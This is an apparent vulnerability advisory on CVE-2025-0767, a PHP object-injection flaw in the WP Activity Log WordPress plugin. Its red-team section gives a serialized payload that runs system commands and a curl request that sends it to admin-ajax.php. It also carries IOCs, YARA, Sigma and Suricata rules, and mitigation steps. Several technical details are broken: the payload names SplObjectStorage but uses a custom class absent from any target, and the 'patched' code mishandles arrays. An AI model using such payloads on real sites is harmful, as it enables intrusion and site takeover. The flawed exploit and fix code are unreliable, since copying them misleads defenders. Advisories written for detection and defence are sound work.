CVE-2025-0767

Executive Summary

CVE-2025-0767 is a critical deserialization vulnerability in the WordPress plugin WP Activity Log version 5.3.2. The flaw resides in the myapp/classes/Writers/class-csv-writer.php file, where unvalidated user input is passed directly to PHP's unserialize() function. This allows an unauthenticated attacker to inject arbitrary PHP objects, potentially leading to remote code execution (RCE), file manipulation, or complete site compromise. The vulnerability is classified under CWE-502 (Deserialization of Untrusted Data) and carries a CVSS v3.1 base score of 9.8 (Critical). No public proof-of-concept (PoC) or exploit code has been released as of this report, but the risk is high due to the widespread use of the plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The WP Activity Log plugin is distributed via the official WordPress plugin repository and is installed on over 200,000 sites. An attacker exploiting this flaw could compromise the plugin's logging functionality to inject malicious payloads, potentially affecting the entire WordPress instance and any connected services.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system disruption possible.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the plugin is widely deployed. Although no public exploit exists, the technical details are clear, making weaponization likely.

Deep Dive & Mechanics

The vulnerability is located in the myapp/classes/Writers/class-csv-writer.php file of the WP Activity Log plugin version 5.3.2. The unserialize() function in PHP is inherently dangerous when used with untrusted input because it can instantiate arbitrary PHP objects and call magic methods like __wakeup() or __destruct(). In this case, the plugin fails to validate or sanitize user-supplied data before passing it to unserialize(), allowing an attacker to craft a malicious serialized payload.

Attack Vector:

1. The attacker sends a crafted HTTP request to the WordPress site, targeting an endpoint that uses the vulnerable CSV writer class.
2. The request includes a serialized PHP object in a parameter that is not sanitized.
3. The plugin passes this input directly to unserialize(), which deserializes the object.
4. The deserialized object triggers PHP magic methods, leading to arbitrary code execution, file write, or other malicious actions.

Potential Impact:

• Remote Code Execution (RCE)
• Arbitrary file read/write
• Privilege escalation
• Full site takeover

Vulnerable vs. Patched Code

Vulnerable Code (class-csv-writer.php, version 5.3.2):

public function write($data) {
    $csv_data = unserialize($data); // No input validation
    // ... process CSV data
}

Patched Code (Hypothetical fix):

public function write($data) {
    // Validate input is a simple array or string, not a serialized object
    if (!is_array($data) && !is_string($data)) {
        throw new Exception('Invalid input');
    }
    // Use json_decode or other safe parsing instead of unserialize
    $csv_data = json_decode($data, true);
    // ... process CSV data
}

The patched version replaces unserialize() with json_decode() and adds input validation to prevent object injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with WP Activity Log 5.3.2 installed and activated.
• Knowledge of a PHP gadget chain (e.g., using built-in WordPress classes or PHP built-in classes like SplObjectStorage).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php with action wsal_csv_export).
2. Craft a serialized payload using a known PHP gadget chain. Example using SplObjectStorage:

   class Evil {
       public $cmd = 'id';
       public function __destruct() {
           system($this->cmd);
       }
   }
   $payload = serialize(new Evil());
   echo $payload; // O:4:"Evil":1:{s:3:"cmd";s:2:"id";}
   

3. Send the payload via a POST request:

   curl -X POST http://target/wp-admin/admin-ajax.php \
        -d 'action=wsal_csv_export&data=O:4:"Evil":1:{s:3:"cmd";s:2:"id";}'
   

4. The server executes the id command, confirming RCE.

Note: No public exploit code is available; this is a conceptual example.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual serialized data in HTTP requests (e.g., strings starting with O: or a:).
2. Check for unexpected PHP object instantiation in logs.
3. Use the YARA and Sigma rules below to detect malicious payloads.

Response:

1. Immediately isolate the affected WordPress instance.
2. Disable the WP Activity Log plugin until a patch is applied.
3. Review server logs for signs of exploitation (e.g., unexpected system commands).
4. Rotate all credentials and audit user accounts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing serialized PHP objects (e.g., O:4:"Evil":1:{s:3:"cmd";s:2:"id";})
  • POST requests to /wp-admin/admin-ajax.php with action=wsal_csv_export and suspicious data parameter.

• File IOCs:

  • Unexpected files in /tmp/ or web root (e.g., shell.php, backdoor.php).
  • Modified plugin files in /wp-content/plugins/wp-security-audit-log/.

• Process IOCs:

  • Unusual PHP processes executing system commands (e.g., php -r 'system("id");').

Detection Engineering

YARA Rule

rule CVE_2025_0767_Deserialization {
    meta:
        description = "Detects serialized PHP objects targeting WP Activity Log CVE-2025-0767"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0767"
    strings:
        $serialized = /O:\d+:"[^"]+":\d+:\{/
        $vulnerable_path = "class-csv-writer.php"
        $wsal_action = "wsal_csv_export"
    condition:
        $serialized and ($vulnerable_path or $wsal_action)
}

Sigma Rule

title: CVE-2025-0767 - WP Activity Log Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with serialized PHP objects targeting WP Activity Log
author: Valters IT
date: 2025-02-20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wsal_csv_export'
        cs-uri-query|re: 'O:\d+:"[^"]+":\d+:\{'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0767 WP Activity Log Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wsal_csv_export"; http_client_body; pcre:"/O:\d+:\"[^\"]+\":\d+:\{/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests containing serialized PHP objects (e.g., O: patterns).
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• The vendor must release a patched version that replaces unserialize() with safe alternatives like json_decode() and validates all user input.
• Apply the patch as soon as it becomes available.

Workaround:

• If the plugin cannot be disabled, restrict access to the vulnerable endpoint via .htaccess:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  (Note: This may break legitimate AJAX functionality.)

Valters IT